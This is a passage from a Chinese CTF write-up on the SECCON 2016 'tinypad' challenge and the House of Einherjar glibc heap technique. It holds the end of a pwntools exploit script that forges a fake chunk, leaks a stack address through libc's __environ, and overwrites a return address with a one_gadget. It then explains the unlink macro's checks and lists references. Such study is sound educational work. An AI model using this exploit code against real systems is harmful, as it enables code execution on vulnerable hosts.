0x00:pack(0x0) + pack(prev_size+1),
0x10:pack(tinypad)*4 # fd bk fd_nextsize bk_nextsize
}))


dele(2)


add(0xe8,'a'*20)
#add(0xd8,b'b'*8+pack(libc.address + 0x197180))
add(0xd8,b'b'*8+pack(libc.sym.__environ))
ru('INDEX: 1')
ru('CONTENT: ')
environ_leak = rl()[:-1]
environ_addr = unpack(environ_leak,'all')
log,info(f"environ addr => {hex(environ_addr)}")
# 收获:libc的__environ变量泄露栈地址

retaddr = environ_addr - 0xf0
edit(3,b'\xf8'*8 + pack(retaddr))

# use one gadgets
edit(1,pack(libc.address + one_gadgets[2]))
print(one_gadgets)
exit()
ia()


为什么fake chunk需要填充4遍自身地址?


pwndbg> dq 0x602040 100
0000000000602040 0000000000000000 00000000011d3fc1
0000000000602050 0000000000602040 0000000000602040
0000000000602060 0000000000602040 0000000000602040


unlink宏如下:如果chunk大小太大,会检查fd_nextsize和bk_nextsize字段,所以也需要伪造。


/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) \
{ \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect(FD->bk != P || BK->fd != P, 0)) \
malloc_printerr(check_action, "corrupted double-linked list", P, AV); \
else \
{ \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range(P->size) && __builtin_expect(P->fd_nextsize != NULL, 0)) \
{ \
if (__builtin_expect(P->fd_nextsize->bk_nextsize != P, 0) || __builtin_expect(P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr(check_action, \
"corrupted double-linked list (not small)", \
P, AV); \
if (FD->fd_nextsize == NULL) \
{ \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else \
{ \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} \
else \
{ \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}



参考资料


◆[0]Glibc堆利用之house of系列总结 - roderick - record and learn! (roderickchan.github.io)

https://roderickchan.github.io/zh-cn/2023-02-27-house-of-all-about-glibc-heap-exploitation/


◆[1]glibc/malloc/malloc.c at linaro/2.23/master · bminor/glibc (github.com)

https://github.com/bminor/glibc/blob/linaro/2.23/master/malloc/malloc.c


◆[2] glibc 2.35 源码


◆[3]Overview of GLIBC heap exploitation techniques (0x434b.dev)

https://0x434b.dev/overview-of-glibc-heap-exploitation-techniques/#house-of-einherjar


◆[4]shellphish/how2heap: A repository for learning various heap exploitation techniques. (github.com)

https://github.com/shellphish/how2heap


◆[5]CTF-All-In-One/src/writeup/6.1.27_pwn_secconctf2016_tinypad/tinypad at master · firmianay/CTF-All-In-One (github.com)

https://github.com/firmianay/CTF-All-In-One/blob/master/src/writeup/6.1.27_pwn_secconctf2016_tinypad/tinypad





看雪ID:selph

https://bbs.kanxue.com/user-home-988863.htm

*本文为看雪论坛优秀文章,由 selph 原创,转载请注明来自看雪社区



# 往期推荐

1、Bugku CTF安卓逆向LoopAndLoop

2、CVE-2021-32760漏洞分析与复现

3、Hikari源码分析 - AntiClassDump

4、Android第一代加壳的验证和测试

5、以 corCTF 2023 sysruption 学习 sysret bug 的利用

6、winrar(CVE-2023-38831)漏洞原理



球分享

球点赞

球在看



点击阅读原文查看更多

继续滑动看下一个
向上滑动看下一个

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存